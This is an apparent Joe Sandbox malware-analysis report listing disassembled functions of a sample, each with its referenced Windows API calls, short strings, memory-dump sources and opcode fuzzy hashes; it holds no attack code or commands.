Instruction ID: cf3ef47fcc9fc65c8681dbbde936754a16444b6a29ed661bf1a88c54ae03bd09
Opcode Fuzzy Hash: 051e03c3b32d39ada80adf87d02e58e33f90e3a535485805ccc7ed4ce7acb6f1
Instruction Fuzzy Hash: 75918F78A002049FCB54DF54C594FAABBF1AF84308F15809EE84A9F362D739ED85CB55

Function 0047E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0047E30D

Strings

pow, xrefs: 0047E2E5, 0047E302

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 170238ad0246a192f8bf3404401e95c98d8e3681746b85b856b4688777423c9d
Instruction ID: b861eac9d544f15d79f75c96617b55086cbfe051e33ca76e62529099d8edf46f
Opcode Fuzzy Hash: 170238ad0246a192f8bf3404401e95c98d8e3681746b85b856b4688777423c9d
Instruction Fuzzy Hash: 80512861A0C20296CB117715C9513BF3BA4AB54740F34CEEBE499433A9EB3DCC959B4E

Function 004D7771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(004A569E,00000000,?,004ECC08,?,00000000,00000000), ref: 004D78DD

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

CharUpperBuffW.USER32(004A569E,00000000,?,004ECC08,00000000,?,00000000,00000000), ref: 004D783B

Strings

<sQ, xrefs: 004D77C8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <sQ
API String ID: 3544283678-3394145969
Opcode ID: ac91da1bd2f92965dd9a1590f87ad8438ecfd6f2b79fae512bfd6d5922377923
Instruction ID: 4c4cebb46a192e4c881125613387f7c82477d31ce4087dfe623d253fe085399e
Opcode Fuzzy Hash: ac91da1bd2f92965dd9a1590f87ad8438ecfd6f2b79fae512bfd6d5922377923
Instruction Fuzzy Hash: FB6164729141189ACF04FBA5CCA1DFDB374BF14305B44052BF942A7252FB385A49DBA8

Function 0046E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 0046E1B1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 77b918550989552c06c47d409dc80b631703e48c31b6644da4ef63729e1be370
Instruction ID: f74c97f5cae78128e829dfa863d4f72036b9993a6b8597bf4e1d33d48fae149e
Opcode Fuzzy Hash: 77b918550989552c06c47d409dc80b631703e48c31b6644da4ef63729e1be370
Instruction Fuzzy Hash: 58513279500246DFDB14DF2AC0916BB7BA5EF66310F24405BE8619B280E6389D43CBAA

Function 0046F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0046F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 0046F2BB

Strings

@, xrefs: 0046F2AF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 3ae79e5a7c0d64c27c5c4d36af54f6baaed46d1335aaafb611ec759e627e5e45
Instruction ID: 6139f23c25b47c9200ec9f2bc8a7a00efb73d64b92fed30b1c0a2c6a63bf8401
Opcode Fuzzy Hash: 3ae79e5a7c0d64c27c5c4d36af54f6baaed46d1335aaafb611ec759e627e5e45
Instruction Fuzzy Hash: 995136724087449BD320AF11EC86BAFBBE8FB94305F81885DF5D941196EB34852DCB6B

Function 004D5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 004D57E0
_wcslen.LIBCMT ref: 004D57EC

Strings

CALLARGARRAY, xrefs: 004D57E6, 004D57EB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 7a001a96a9618938f81b4c2cc1ccece17343cb01d405c0f85bc24dd18bcf417c
Instruction ID: a84d8209a97edb506577d44b1a122c5a74cbc9280d1ac266c95df22a937a2f74
Opcode Fuzzy Hash: 7a001a96a9618938f81b4c2cc1ccece17343cb01d405c0f85bc24dd18bcf417c
Instruction Fuzzy Hash: 2F418271A002059FCB14EFAAC8918BEBBB5EF59355F10406FF505A7352EB389D41CB94

Function 004CD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004CD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 004CD13A

Strings

|, xrefs: 004CD10B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 0dfd42092d39c1abad762498e3729f3beaa7c3e90a4a83f8171e8cf6844b405a
Instruction ID: 7f07fc2c5692ec9fe3b699108b3a6779b8d7a20ebef899cacb32e2886b026ef6
Opcode Fuzzy Hash: 0dfd42092d39c1abad762498e3729f3beaa7c3e90a4a83f8171e8cf6844b405a
Instruction Fuzzy Hash: 94310975D01109ABCF55EFA5CC85EEE7FB9FF04304F00002AF815A6262DB35AA56CB54

Function 004E356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 004E3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 004E365C

Strings

static, xrefs: 004E35BC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 637ff2697ca97f84238301a8c741b3a804043bbf26b3c8cd82d2684600f31601
Instruction ID: 24ff72fc51d52b03ba12a98dfe8ca6691fa325403ffb5818a94d1b4e86c16991
Opcode Fuzzy Hash: 637ff2697ca97f84238301a8c741b3a804043bbf26b3c8cd82d2684600f31601
Instruction Fuzzy Hash: BA31B271100244AEDB21DF35DC84EFB73A9FF48725F00861EF8A597280DA35AD82D768

Function 004E4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 004E461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004E4634

Strings

', xrefs: 004E458E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 546a3f379f0ca87221d4c9c6f021a0afbb34ef6f993662c6ea33077b45a8e385
Instruction ID: cd9477c96167999a5bd76a761612bb940236f5074f615dd7f2f99ac8497985e8
Opcode Fuzzy Hash: 546a3f379f0ca87221d4c9c6f021a0afbb34ef6f993662c6ea33077b45a8e385
Instruction Fuzzy Hash: C5314C74A01349AFDF14CFAAC980BDA7BB5FF49301F10406AEA04AB381D774A941CF94

Function 004E31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004E327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004E3287

Strings

Combobox, xrefs: 004E3249

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 36c27ab85d3569fe561aff6dc575901ed25026bd3286a81c63f8ddeec30a928c
Instruction ID: a46b383d293c67e69513c5ec66ab1688d11ebc431547063f34165b79645f20bf
Opcode Fuzzy Hash: 36c27ab85d3569fe561aff6dc575901ed25026bd3286a81c63f8ddeec30a928c
Instruction Fuzzy Hash: 4411E6713001487FFF229F55DC84EBB376AEB54366F10012AFA5897290D6359D518764

Function 004E3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0045600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0045604C
Part of subcall function 0045600E: GetStockObject.GDI32(00000011), ref: 00456060
Part of subcall function 0045600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0045606A

GetWindowRect.USER32(00000000,?), ref: 004E377A
GetSysColor.USER32(00000012), ref: 004E3794

Strings

static, xrefs: 004E3757

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: f09522650518507d1e6437d1f5083824de871bbf4720be1d3a34fe6383359cb2
Instruction ID: 9fa05ab590097ea4b918bd90235da20adeaf7946fb96a1f759c03804f3f15599
Opcode Fuzzy Hash: f09522650518507d1e6437d1f5083824de871bbf4720be1d3a34fe6383359cb2
Instruction Fuzzy Hash: 2A1159B2610249AFDF11DFA9CC89AEA7BB8EF08316F004529F955E3250D738E8119B54

Function 004CCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 004CCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 004CCDA6

Strings

<local>, xrefs: 004CCD66

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 0d0552717a97d374c17d9b10ab64a341f36e1f0047a3ecda7eebbc2ec0d5bc2f
Instruction ID: dfa650092118dd3417c6b59a7c2ffdc41c58509fc64ada534353d31503308ba7
Opcode Fuzzy Hash: 0d0552717a97d374c17d9b10ab64a341f36e1f0047a3ecda7eebbc2ec0d5bc2f
Instruction Fuzzy Hash: 0611E379641632BAD7644A668CC4FE3BE6CEB127A4F00423BF10E82180D2789841D6F4

Function 004E3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 004E34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004E34BA

Strings

edit, xrefs: 004E348F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: da5994e0c4b54a73d49775e344530356c06b4471847479d378cba5c824fd42ef
Instruction ID: 9921c99c2b5ca71a0d2d6dc4d9d4c516ea5aaefb61abf69623c1f954b0fbbc37
Opcode Fuzzy Hash: da5994e0c4b54a73d49775e344530356c06b4471847479d378cba5c824fd42ef
Instruction Fuzzy Hash: 3D110471100144AFEF124E66DC88AFB3769EF0137AF504725F960932D0C339DC529B58

Function 004B6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

CharUpperBuffW.USER32(?,?,?), ref: 004B6CB6
_wcslen.LIBCMT ref: 004B6CC2

Strings

STOP, xrefs: 004B6CBC, 004B6CC1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 18c364c64d944e5faf4e5604b46869418c68ff820a6af00dd787db2a1ac7ce22
Instruction ID: 3fec68cd690104392de220f6b97ca9703b5b4803d5cc833d8fcbcfb6412c6cc9
Opcode Fuzzy Hash: 18c364c64d944e5faf4e5604b46869418c68ff820a6af00dd787db2a1ac7ce22
Instruction Fuzzy Hash: 0E012B326005268BCB10AFBDDC918FF37B9FB60714702093AE85297291EB3DDC05C668

Function 004B1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004B3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 004B3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 004B1D4C

Strings

ComboBox, xrefs: 004B1CEB
ListBox, xrefs: 004B1D16

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: a25e35f5f31ddb97d0d56cec67f3109e2730eb41402b864919faab4bcdaf4608
Instruction ID: 2c2c628a85a6a6c35178362cda12e8d2e2ccf35143f45745d5cba8f2d0cd6a26
Opcode Fuzzy Hash: a25e35f5f31ddb97d0d56cec67f3109e2730eb41402b864919faab4bcdaf4608
Instruction Fuzzy Hash: 6901B575601214AB8B04EBA5CC618FF7769FB46354B54091FA822573D2EA38690D8674

Function 004B1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004B3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 004B3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 004B1C46

Strings

ComboBox, xrefs: 004B1BE5
ListBox, xrefs: 004B1C10

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ea2755be56226647761ef0ffde7f35b419863696f9b73c4e0f4299769c60d428
Instruction ID: 5e6f144e54f59b4e1b7312e0c196bacf72df7ef72bfcb671b96644f72edf2281
Opcode Fuzzy Hash: ea2755be56226647761ef0ffde7f35b419863696f9b73c4e0f4299769c60d428
Instruction Fuzzy Hash: 6201F775680104A6CB04EBA1C9629FF7BB89B11340F50001FA80767293EA389E0D86B9

Function 004B1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004B3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 004B3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 004B1CC8

Strings

ComboBox, xrefs: 004B1C69
ListBox, xrefs: 004B1C94

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2225fb56fbfb976f0906bb17c9dc6b2f0b3d47a1f994000ea40ebfb7411e9cf8
Instruction ID: ecdd77702d7f3632c29d21fb4352d4c29c07581fd56c3f9f7b6d820df1e796ca
Opcode Fuzzy Hash: 2225fb56fbfb976f0906bb17c9dc6b2f0b3d47a1f994000ea40ebfb7411e9cf8
Instruction Fuzzy Hash: 6C01DB75640114A7DB05EBA5CA51AFF7BB89B11385F94001BBC0273292EA389F0DD679

Function 0046A4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0046A529

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Strings

3yJ, xrefs: 0046A545, 0046A54D, 0046A552
,%R, xrefs: 0046A509

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%R$3yJ
API String ID: 2551934079-3779759401
Opcode ID: 7697c8e97a22bba2d3f5897695540d93a4ebb2eab32059b14e335230bbefe289
Instruction ID: 0c8725c89aac2614a5c2edc634a262ee46b1493f2f26b583306bdde19cc7f3d4
Opcode Fuzzy Hash: 7697c8e97a22bba2d3f5897695540d93a4ebb2eab32059b14e335230bbefe289
Instruction Fuzzy Hash: 0401D431701A10E7CA10F769EC57A9D37549B45715F50406FF5062B2C3FE586D068E9F

Function 004B1D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004B3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 004B3CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 004B1DD3

Strings

ComboBox, xrefs: 004B1D75
ListBox, xrefs: 004B1DA0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 36015f78e7a46604ddfb2db028607aa11af7cecea1114d1d766d191f021d2b0f
Instruction ID: 3d7705387acb0f84399e6c9e7ed5eed192557b4ac50df6499db27c582b5cee05
Opcode Fuzzy Hash: 36015f78e7a46604ddfb2db028607aa11af7cecea1114d1d766d191f021d2b0f
Instruction Fuzzy Hash: E9F0F971A50214A6D704F7A5CC51AFF777CAB01344F84091FB822632D2EA78690D8278

Function 004E8172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

